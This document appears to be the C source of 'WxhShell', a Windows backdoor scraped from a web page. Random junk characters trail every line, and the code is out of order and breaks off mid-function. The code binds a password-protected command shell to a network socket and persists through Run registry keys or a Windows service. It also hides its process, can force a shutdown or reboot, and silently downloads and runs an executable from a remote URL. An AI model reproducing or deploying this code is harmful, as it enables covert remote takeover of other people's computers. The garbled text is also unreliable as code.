    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y0yO `W4  
    if(Boot(REBOOT)) \seG2vw$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rfc&OV  
    else { %Fg8l{H3  
    closesocket(wsh); kqvJ&7  
    ExitThread(0); P"uHtHK  
    } 8H#c4%by)  
    break; Owpg]p yVD  
    } ,PMb9 O\B  
  // 关机 !8@rK$DB  
  case 'd': { E}' d,v#Z{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n~ >h4=h  
    if(Boot(SHUTDOWN)) +F~0\#d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &<V_[Wh"  
    else { T[XP\!z]B!  
    closesocket(wsh); \_Kt6=  
    ExitThread(0); ?hJsN  
    } bjPbl2K  
    break; T E&Q6  
    } vMX6Bg8  
  // 获取shell dHq )vs,L  
  case 's': { e9`uD|KAS|  
    CmdShell(wsh); wvmg)4,  
    closesocket(wsh); dXcPWbrU4  
    ExitThread(0); b;J0'o^G|  
    break; .)@tXH=}+  
  } n*m"L|:ff  
  // 退出 }K/}(zuy1Y  
  case 'x': { TjUZv1(L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a][pTC\rb  
    CloseIt(wsh); W-!Bl&jF[  
    break; ;*-@OLT_K  
    } mbX)'. +L  
  // 离开 E/7vIg F  
  case 'q': { qbU1qF/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j[/SXF\=  
    closesocket(wsh); ~nj bLUB  
    WSACleanup(); qHR^0&  
    exit(1); Cl9SPz  
    break; F!)M<8jL&9  
        } 14r Vb2^  
  } .:Bwa  
  } 5hJYy`h~  
@4_rxu&  
  // 提示信息 yC'hwoQ`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V%BJNJ  
} y*}vG}e%  
  } DN"S,  
(K*/Vp  
  return; (~G5t(+  
} Gf H*,1x  
ii_|)udz  
// shell模块句柄 Q"_T2fl]vP  
int CmdShell(SOCKET sock) QtnM(m  
{ Db#W/8 a8k  
STARTUPINFO si; fVH*dX'Jz  
ZeroMemory(&si,sizeof(si)); }$Hs;4|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \[[TlB>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d=t}T6.|  
PROCESS_INFORMATION ProcessInfo; sb}K%-  
char cmdline[]="cmd"; (ET ;LH3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @.Z[M  
  return 0; Zk/' \(5  
} '9-axIj70  
O&#S4]Y   
// 自身启动模式 `;5VH]V  
int StartFromService(void) rL%]S&M9  
{ >@)*S n9"  
typedef struct HJfQ]p'nK2  
{ QiTR-M2C!  
  DWORD ExitStatus; abROFI5.L  
  DWORD PebBaseAddress; $u; >hk  
  DWORD AffinityMask; R3B5-^s  
  DWORD BasePriority; ~aJW"\{  
  ULONG UniqueProcessId; YY#s=  
  ULONG InheritedFromUniqueProcessId; G2CZwm{/f  
}   PROCESS_BASIC_INFORMATION; Uz6{>OCvk|  
c~gNH%1XN  
PROCNTQSIP NtQueryInformationProcess; 'v\1:zi  
&/ >;LgN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xvwD3.1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ),cQUB  
(s}Rj)V[^  
  HANDLE             hProcess;  xFBh?  
  PROCESS_BASIC_INFORMATION pbi; @-wNrW$  
[&h#iTRT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Io$w|~x  
  if(NULL == hInst ) return 0; ku/\16E/k  
V!T^wh;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wr$cK'5ZL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k^H0b\hYY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ydwK!j0y  
FOOQ'o[}  
  if (!NtQueryInformationProcess) return 0; FX HAZ2/\  
(KT38RhA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1MbY7!?PG  
  if(!hProcess) return 0; R'Kt=.s<  
&mN'Tk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pU?{0xZH  
y z[%MXI  
  CloseHandle(hProcess); +1otn~(E  
Nb~,`bu,2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + ,@ FxZl  
if(hProcess==NULL) return 0; {0is wq'J  
&$mZ?%^C  
HMODULE hMod; m b%C}8D  
char procName[255]; W(;x\Nc7  
unsigned long cbNeeded; zKIGWH=qqm  
;_mgiKHg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]3n, AHA  
i{o#3  
  CloseHandle(hProcess); [J a)<!]<  
_1I K$gb[  
if(strstr(procName,"services")) return 1; // 以服务启动 @%6)^]m}r  
't +"k8  
  return 0; // 注册表启动 r_b8,I6{]  
} v6wRME;JA  
JB&G~7Q85  
// 主模块 3p:=xL  
int StartWxhshell(LPSTR lpCmdLine) Z5((1J9  
{ jCU=+b=  
  SOCKET wsl; \Dn&"YG7  
BOOL val=TRUE; B4`2.yRis  
  int port=0; qBT_! )h   
  struct sockaddr_in door; &MCy.(jN  
L +L 9Y}  
  if(wscfg.ws_autoins) Install(); # v{Y=$L  
T"n{WmVQ  
port=atoi(lpCmdLine); -glugVq  
Rw{$L~\  
if(port<=0) port=wscfg.ws_port; IikG /8lP  
"hL9f=w  
  WSADATA data; {DU"]c/S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q_cC7p6t  
?nQ_w0j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _b>F#nD,'%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ):e+dt  
  door.sin_family = AF_INET; J!rY 6[ t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2zz,(RA  
  door.sin_port = htons(port); j:7* 3@f  
9lKn% |=T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >xT^RYS  
closesocket(wsl); DhZ:#mM{  
return 1; e"]"F{Q  
} Eu|sWdmf l  
Yl $X3wi  
  if(listen(wsl,2) == INVALID_SOCKET) { m;dm|4L^  
closesocket(wsl); Sa L"!uAk  
return 1; +}P%HH]E/p  
} $0_^=D EW  
  Wxhshell(wsl); &,J*_F<s2<  
  WSACleanup(); M|d={o9Hp  
djW cbC=g_  
return 0; hw;0t,1  
'iJDWxCD  
} =/[ltUKs:a  
JjQ8|En  
// 以NT服务方式启动 yH^f\u0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n|WfaJQZ  
{ F9-[%l  
DWORD   status = 0; tv0Ha A  
  DWORD   specificError = 0xfffffff; T=WNBqKo]  
UH[<&v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uKv&7p@|_)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hi!`9k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %dc3z"u  
  serviceStatus.dwWin32ExitCode     = 0; S.{fDcM  
  serviceStatus.dwServiceSpecificExitCode = 0; 9CB\n  
  serviceStatus.dwCheckPoint       = 0; xOythvO  
  serviceStatus.dwWaitHint       = 0; t-WjL@$F/  
tR1FO%nC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wxE?3%.j\  
  if (hServiceStatusHandle==0) return; vYdR ht\(  
PY?8 [A+  
status = GetLastError(); 3)3Hck  
  if (status!=NO_ERROR) KF+mZB  
{ ld.7`)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; joqWh!kv7U  
    serviceStatus.dwCheckPoint       = 0; pE2QnNr'  
    serviceStatus.dwWaitHint       = 0; D?^Y`G$.  
    serviceStatus.dwWin32ExitCode     = status; (ew} gJ  
    serviceStatus.dwServiceSpecificExitCode = specificError;  A^ViDP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y&K <{\vE  
    return; @xS]!1-  
  } [F+,YV%t  
:$?Q D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w d/G|kNO  
  serviceStatus.dwCheckPoint       = 0; 3Hw[s0[$  
  serviceStatus.dwWaitHint       = 0; ;FU|7L$H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }k7_'p&yk  
} k^%2_H  
b HE7yv [  
// 处理NT服务事件,比如:启动、停止 nU2V]-qY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b0rX QMu  
{ )s)_XL  
switch(fdwControl) =LI:S|[4  
{ | f\D>Y%)  
case SERVICE_CONTROL_STOP: _1aGtX|W  
  serviceStatus.dwWin32ExitCode = 0; <J&7]6Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D^+?|Y@N  
  serviceStatus.dwCheckPoint   = 0; <*<U!J-i  
  serviceStatus.dwWaitHint     = 0; z}+i=cAN  
  { RP! X8~8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )u*^@Wo  
  } GKZN}bOm\  
  return; ?iv=53<c#  
case SERVICE_CONTROL_PAUSE: :HRT 2I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oZN'H T  
  break; ?'eq",c#4N  
case SERVICE_CONTROL_CONTINUE: xr[Vp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s9O2k}]  
  break; bAEg$A  
case SERVICE_CONTROL_INTERROGATE: CE ~@}`  
  break; _okWQvdH  
}; 4r&f%caU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oh~: ,  
} M&KyA  
$ J1f.YE  
// 标准应用程序主函数 -:<lkq&/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [|RjHGf  
{ )K;]y-Us[  
kccWoU,  
// 获取操作系统版本 irKIy  
OsIsNt=GetOsVer(); k_ Y~;P@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dz;HAyPj  
 \S4SI  
  // 从命令行安装 bcH_V| 5}  
  if(strpbrk(lpCmdLine,"iI")) Install(); U]R~gy}#  
Zgamd1DJ[l  
  // 下载执行文件 G-u]L7t&1  
if(wscfg.ws_downexe) { QM'X@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6B" egYv  
  WinExec(wscfg.ws_filenam,SW_HIDE); \+m$  
} *jITOR!uF`  
pK}=*y~$  
if(!OsIsNt) { <+v{GF#R  
// 如果时win9x,隐藏进程并且设置为注册表启动 o&SSv W  
HideProc(); pf&ag#nr  
StartWxhshell(lpCmdLine); t Rm+?  
} -Q"hZ9  
else j}f[W [2  
  if(StartFromService()) HC*?DJ,  
  // 以服务方式启动 RLVAT M5  
  StartServiceCtrlDispatcher(DispatchTable); H'DVwnn>ik  
else ,<` )>2 'o  
  // 普通方式启动 )OP){/   
  StartWxhshell(lpCmdLine); 8e&p\%1  
Kz?#C  
return 0; s{}]D{bc  
} @Jn!0Y1_3  
skg|>R,kE  
n V&cC  
6RoAl$}'  
=========================================== =qu(~]2(  
w7TJv4_  
$B (kZ  
r!GW= u'  
8b(!k FxD  
-_N)E ))G  
" ;9a 6pz<  
,$lemH1d  
#include <stdio.h> i=S~(gp  
#include <string.h> vB0RKk}d5  
#include <windows.h> L]%l51U  
#include <winsock2.h> `3c CH  
#include <winsvc.h> uLR<FpM  
#include <urlmon.h> vB'>[jvA|  
6%Mt  
#pragma comment (lib, "Ws2_32.lib") pG3k   
#pragma comment (lib, "urlmon.lib") Cu;5RSr2Z  
v,@F|c?_S  
#define MAX_USER   100 // 最大客户端连接数 ";SiL{Z  
#define BUF_SOCK   200 // sock buffer ]?+{aS-]?k  
#define KEY_BUFF   255 // 输入 buffer jgv`>o%<W  
;C.S3}  
#define REBOOT     0   // 重启 i^msjA  
#define SHUTDOWN   1   // 关机 ac{?+]8}  
?)D^~/ A  
#define DEF_PORT   5000 // 监听端口 C[sh,  
6gL-OJNo  
#define REG_LEN     16   // 注册表键长度 T{v>-xBRy  
#define SVC_LEN     80   // NT服务名长度 |{>ER,<-  
&@FhR#pUQ  
// 从dll定义API pCi#9=?N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dT"hNHaf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p4!:]0c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #W>QY Tp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <AH1i@4  
+Vb8f["+-  
// wxhshell配置信息 ^D%Za'  
struct WSCFG { zP\7S}p7%  
  int ws_port;         // 监听端口 R%Y`=pK>}  
  char ws_passstr[REG_LEN]; // 口令 W~1~k{A  
  int ws_autoins;       // 安装标记, 1=yes 0=no avQJPB)}Sb  
  char ws_regname[REG_LEN]; // 注册表键名 ^x>Qf(b  
  char ws_svcname[REG_LEN]; // 服务名 Z @ dC+0[=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 , t5 '  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hVUh0XeO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,f3pqi9|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j$7|XM6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v=@TWEE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V~G`kkNy  
hj%ye~|~  
}; 9;.(u'y|  
D\dWt1n  
// default Wxhshell configuration /AY4M;}p  
struct WSCFG wscfg={DEF_PORT, F,BOgWwP  
    "xuhuanlingzhe", 'xY@x-o  
    1, !E8X~DJ  
    "Wxhshell", Yb3mP!3q8Z  
    "Wxhshell", GzXUU@p  
            "WxhShell Service", ^!<dgBNj  
    "Wrsky Windows CmdShell Service", H,3\0BKk  
    "Please Input Your Password: ", OJ|r6  
  1, 8BOZh6BV  
  "http://www.wrsky.com/wxhshell.exe", ,l YE  
  "Wxhshell.exe" W!Hm~9fz  
    }; ^&@w$  
\MC-4Yz  
// 消息定义模块 EP'h@zdz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @hQlrq5c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q/uwQ o/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g- AHdYJ  
char *msg_ws_ext="\n\rExit."; t7 n(Qkrv  
char *msg_ws_end="\n\rQuit."; }D411228  
char *msg_ws_boot="\n\rReboot..."; jp8@vdRg  
char *msg_ws_poff="\n\rShutdown..."; -i0(2*<  
char *msg_ws_down="\n\rSave to "; Un`^jw#_  
o8/ ;;*  
char *msg_ws_err="\n\rErr!"; 4;n6I)&.(  
char *msg_ws_ok="\n\rOK!"; ,YTIC8qKr  
-}O1dEn.  
char ExeFile[MAX_PATH]; vE@!{*  
int nUser = 0; ~(!XY/0e  
HANDLE handles[MAX_USER]; f`9 b*wV  
int OsIsNt; ?Nf>]|K:Q  
C2LL|jp*  
SERVICE_STATUS       serviceStatus; An;MVA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AjcX  N  
MYJg8 '[j  
// 函数声明 _v Sn`  
int Install(void); *n" /a{6>  
int Uninstall(void); UcBe'r}G  
int DownloadFile(char *sURL, SOCKET wsh); \PDd$syDA  
int Boot(int flag); NI#X @  
void HideProc(void); mMsTyM-f  
int GetOsVer(void); +zXEYc  
int Wxhshell(SOCKET wsl); ]8q3>  
void TalkWithClient(void *cs); pyLRgD0 g  
int CmdShell(SOCKET sock); 7+X:LA~U  
int StartFromService(void); Y<1QY?1sd  
int StartWxhshell(LPSTR lpCmdLine); <N\v)Ug`  
i1H\#;`$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3)-/`iy#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j83p)ido  
I}Nd$P)>  
// 数据结构和表定义 _ZY)M  
SERVICE_TABLE_ENTRY DispatchTable[] = ?\C"YG69T  
{ ,'[<bP'%_  
{wscfg.ws_svcname, NTServiceMain}, B<j'm0a>B  
{NULL, NULL} >e\9Bf_  
}; 3a.kBzus  
:Y9NLbv  
// 自我安装 f$NMM >z  
int Install(void) =t6z \WB  
{ [2"<W! p  
  char svExeFile[MAX_PATH]; T]2q?; N  
  HKEY key; \j&^aAp r  
  strcpy(svExeFile,ExeFile); UnI 48Y  
7AYd!n&S  
// 如果是win9x系统,修改注册表设为自启动 0-~\ W(  
if(!OsIsNt) { Fx-8M!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9U$EJN_G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^G6RjJxqp8  
  RegCloseKey(key); vAyFmdJ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (aD_zG=k5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5:'hj$~|\1  
  RegCloseKey(key); B}PIRk@a1  
  return 0; 8\{^|y9-  
    } X]P:CY  
  } 0eK*9S]  
} W 4F\}A  
else { |V<h=D5W  
035rPT7-2-  
// 如果是NT以上系统,安装为系统服务 v|U(+O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZDbc  
if (schSCManager!=0) Me 5_4H&Sg  
{ |SyMngIY  
  SC_HANDLE schService = CreateService r*Yi1j/  
  ( }Ho Qwy|&  
  schSCManager, ^^5&QSB:'  
  wscfg.ws_svcname, 8 Y5  
  wscfg.ws_svcdisp, ]('D^Ro  
  SERVICE_ALL_ACCESS, Mbjvh2z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ) $PDo 7#  
  SERVICE_AUTO_START, HttiX/2~  
  SERVICE_ERROR_NORMAL, `w]s;G[  
  svExeFile, y@\V +  
  NULL, <~ Sz04  
  NULL, 7)s^8+  
  NULL, "~D]E7Q3y  
  NULL, r$2P;Cxj  
  NULL AhZ8 0!  
  ); N!g9*Z  
  if (schService!=0) M bb x`  
  { Nm |!#(L  
  CloseServiceHandle(schService); `ho1nY$)CE  
  CloseServiceHandle(schSCManager); ]xuG&O"SBV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0qX3v<+[6  
  strcat(svExeFile,wscfg.ws_svcname); Th=eNL]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lV%N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hiQha5  
  RegCloseKey(key); V7/I>^X  
  return 0; aG^4BpIP  
    } iezO9`  
  } gG/!,Q.Qh  
  CloseServiceHandle(schSCManager); Yb E-6|cz  
}  EW3(cQbK  
} k1QpKn*  
y-1 pR  
return 1; j$+nKc$  
} V,$0p1?J  
]Ux<aiY]a  
// 自我卸载 5H ue7'LS  
int Uninstall(void) b#X^=n2  
{ >Q(3*d >  
  HKEY key; 3+XOZh8  
)b:7-}d  
if(!OsIsNt) { Z l*X?5u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KQ~i<1&j  
  RegDeleteValue(key,wscfg.ws_regname); 7AObC4 g  
  RegCloseKey(key); [ i]Ub0Dh7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SLh(9%S;  
  RegDeleteValue(key,wscfg.ws_regname); /kfgx{jZ  
  RegCloseKey(key); @;'o2   
  return 0; C+TI]{t  
  } P'`r  
} \_lod kf  
} "sG=wjcw^  
else { nJo`B4'U  
sQ fFu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zRyuq1Zyc,  
if (schSCManager!=0) vMS |$L  
{ 0PWg;>^'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3? HhG  
  if (schService!=0) UX dUO@  
  { h@[R6G|  
  if(DeleteService(schService)!=0) { (2=Zm@Zp f  
  CloseServiceHandle(schService); kO}AxeQ  
  CloseServiceHandle(schSCManager); .,OVzW  
  return 0; sD=n95`v  
  } 9M:O0)s  
  CloseServiceHandle(schService); cZ|\.0-  
  } v#!%GEg1r  
  CloseServiceHandle(schSCManager); v61[.oS  
} BG<qIQd  
}  Y*14v~\'  
/K(o]J0F  
return 1; THS.GvT9[  
} *FMMjz  
(Tbw3ENz  
// 从指定url下载文件 MgY0q?.S=  
int DownloadFile(char *sURL, SOCKET wsh) `5C,N!d8X  
{ Y 1t\iU  
  HRESULT hr; Wr( y)D<y}  
char seps[]= "/"; @w?P7P<O`  
char *token; #Jw1IcuH  
char *file; }yz (xH  
char myURL[MAX_PATH]; Jl&-,Vjb  
char myFILE[MAX_PATH]; Dp':oJC  
2n|K5FR()  
strcpy(myURL,sURL); 3J5!oF{H  
  token=strtok(myURL,seps); ^3UGV*Ypk  
  while(token!=NULL) 2'W<h)m)z  
  { wbst8 *$  
    file=token; k<" oiCE  
  token=strtok(NULL,seps); [DF,^4g  
  } 7D;cw\ |  
s mnS DS  
GetCurrentDirectory(MAX_PATH,myFILE); oIduxbAp  
strcat(myFILE, "\\"); `-p:vq`  
strcat(myFILE, file); OEkN(wF  
  send(wsh,myFILE,strlen(myFILE),0); fe9LEM8j  
send(wsh,"...",3,0); ;t|Ii8Ne  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^G.B+dG@`x  
  if(hr==S_OK) P9vA7[  
return 0; /%;mqrdk  
else {62n7'U{  
return 1; z& fwE$Nm  
fP(d8xTx2y  
} m+Rv+_R  
W;,C_   
// 系统电源模块 6Q${U7%7  
int Boot(int flag) y$_eCmq  
{ `nZ)>  
  HANDLE hToken; RE/~#k@a  
  TOKEN_PRIVILEGES tkp; 1fZ(l"  
SgS~ {4Zx*  
  if(OsIsNt) { Mw;sLsu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JW3B'_0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HlH64w2^R  
    tkp.PrivilegeCount = 1; TZY3tUx0|G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {qN 5MsY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %'X[^W  
if(flag==REBOOT) { 6x%h6<#xh*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |\7 ET[X q  
  return 0; ,&R/4 :I  
} -}KC=,]vh  
else { @*6 C=LL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z7=`VNHc  
  return 0; WjlZ6g2i  
} /N&CaH\;^$  
  } a+%6B_|\  
  else { /J WGifH  
if(flag==REBOOT) { 7eV di*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;e1ku|>$  
  return 0; U 15H2-`  
} <|SRe6m  
else { ;{U@qQD7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]3X@_NYj  
  return 0; y9>ZwYN  
} ~2gG(1%At9  
} s=0BMPDgm  
XBp?w  
return 1; j'MO(ev  
} //s:5S<Z  
!X;1}  
// win9x进程隐藏模块 SUU !7Yd|  
void HideProc(void) N _86t  
{ '*"vkgN  
Ir qZi1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GJoS #s  
  if ( hKernel != NULL ) Z2'Bk2 L  
  { 1$p2}Bf {n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0 g?z&?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '|Kmq5)  
    FreeLibrary(hKernel); F*3j.lI  
  } p(/dBt[3k  
JYW)uJ  
return; +PcmJ  
} c+hQSm|bf)  
T^Ze3L]  
// 获取操作系统版本 9Ru8~R/\  
int GetOsVer(void) nv~%#|v_W  
{ d\jPdA.a=  
  OSVERSIONINFO winfo; r}mbXvn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i5CK*"$Q  
  GetVersionEx(&winfo); CTZh0 x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f]\CD<g3|E  
  return 1; 2C9V|[U,  
  else &GB:|I'%7  
  return 0; WRrd'{sB  
} )~HUo9K9  
hKT  
// 客户端句柄模块 V;:jZpG  
int Wxhshell(SOCKET wsl) P8*=Ls+-F  
{ 3< 2}V  
  SOCKET wsh; P dhEQ}H  
  struct sockaddr_in client; n8".XS  
  DWORD myID; <7j87  
BA%pY|"Q  
  while(nUser<MAX_USER) --|Wh^i>?  
{ Zw ^kmSL"  
  int nSize=sizeof(client); !AKg m'Nw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oaoU _V  
  if(wsh==INVALID_SOCKET) return 1; / ;,Md,p  
@AIaC-,~]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \\u<S=G  
if(handles[nUser]==0) S&b*rA02zp  
  closesocket(wsh); YW60q0:  
else A8oo@z68n>  
  nUser++; /7t>TYip!  
  } ](wvu(y\E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eFL=G%  
xx{PespNt  
  return 0; %0,#ADCqOe  
} R}4So1  
|Y[wzDYV  
// 关闭 socket 7 D^gMN%p  
void CloseIt(SOCKET wsh) [`c^ 4 E  
{ /M3Y~l$  
closesocket(wsh); /qy-qUh3h  
nUser--; (tZrw5 @  
ExitThread(0); 9Bw|(J  
} 5 ({t4dm  
&' Ne! o8  
// 客户端请求句柄 9&_<f}ou  
void TalkWithClient(void *cs) C0}IE,]  
{ bdF.qO9  
-/g B|J  
  SOCKET wsh=(SOCKET)cs; GJtZ&H  
  char pwd[SVC_LEN]; &'}RrW-s  
  char cmd[KEY_BUFF]; }DK7'K  
char chr[1]; znaUBv_  
int i,j; T QSzx%i2  
[ji#U s:h  
  while (nUser < MAX_USER) { o8-^cP1  
IbP#_Vt  
if(wscfg.ws_passstr) { |,!IZ- th  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ct=- 4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4bw4cqY;  
  //ZeroMemory(pwd,KEY_BUFF); Ft;^g3N  
      i=0; f'VX Y-  
  while(i<SVC_LEN) { ~nG(5:A5g/  
S>]pRV9rT  
  // 设置超时 t_qNq{  
  fd_set FdRead;  .5y+fL  
  struct timeval TimeOut; 1r]Io gI  
  FD_ZERO(&FdRead); gm[z[~X@  
  FD_SET(wsh,&FdRead); {yB&xj[z  
  TimeOut.tv_sec=8; Y[K*57fs  
  TimeOut.tv_usec=0; fvF?{k>~}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P)MDPI+~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (KF=On;=Y  
Bb}fj28  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ksy -e{n  
  pwd=chr[0]; j&Wl0  
  if(chr[0]==0xd || chr[0]==0xa) { H s"HID  
  pwd=0; )>`G  
  break; kMt 8/E`  
  } < VSA  
  i++; jhg;%+KB  
    } 6w(6}m.L^  
U}PiY"S<  
  // 如果是非法用户,关闭 socket x*nSHb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !qN||m CH  
} 5yiK+-iTs  
KjE+QUa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y~(Md@!0S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <RG|Dx[:=  
DFd%9*N  
while(1) { HAJ7m!P  
8peDI7[|  
  ZeroMemory(cmd,KEY_BUFF); L>a  
V` 1/SQX  
      // 自动支持客户端 telnet标准   x"{'&J[hx  
  j=0; Hqn#yInA7~  
  while(j<KEY_BUFF) { \,7}mdQSv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pD01,5/  
  cmd[j]=chr[0]; _Gjk;|Sx<I  
  if(chr[0]==0xa || chr[0]==0xd) { 70;Jl).\{  
